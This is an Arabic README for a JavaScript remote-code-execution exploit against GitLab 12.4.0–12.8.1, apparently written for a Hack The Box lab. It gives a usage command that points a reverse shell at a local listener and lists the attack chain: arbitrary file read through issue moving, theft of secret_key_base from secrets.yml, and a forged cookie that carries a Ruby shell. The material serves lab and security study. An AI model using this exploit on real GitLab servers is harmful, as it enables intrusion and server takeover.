GitLab v12.4.0-12.8.1 RCE
مبني بالكامل على https://github.com/dotPY-hax/gitlab_RCE، والذي لم يعمل بالنسبة لي وكان تحليل HTML مزعجًا، لذا أعدت كتابته باستخدام JavaScript.
الاستخدام
ابدأ معالج الصدفة العكسي بالطريقة المعتادة، ثم شغّل هذا السكريبت باستخدام:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
يمكن تحديد بروكسي باستخدام TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080".
Burp مفيد بشكل خاص لتصحيح الأخطاء بهذا.
ما يفعله هذا
- يتحقق مما إذا كان الهدف قيد التشغيل
- إذا كان المستخدم المقدم موجودًا، يتجاوز إلى الخطوة 5
- يمسح عن اسم مستخدم غير موجود بالفعل
- ينشئ هذا المستخدم
- يحاول تسجيل الدخول
- ينشئ مشروعين فارغين
- ينشئ تذكرة إصدار جديدة تحتوي على رابط ضار في نصها في المشروع الأول
- ينقل التذكرة الجديدة إلى المشروع الآخر، مما يتسبب في قيام GitLab بإعادة كتابة الرابط الضار ونسخ الملف الذي يشير إليه داخل مجلد uploads
- يجلب الملف الهدف، في هذه الحالة نريد ملف secrets.yml للحصول على secret_key_base
- يستخدم secret_key_base لصياغة ملف تعريف ارتباط ضار يحتوي على شل Ruby الخاص بنا ويمرّره إلى GitLab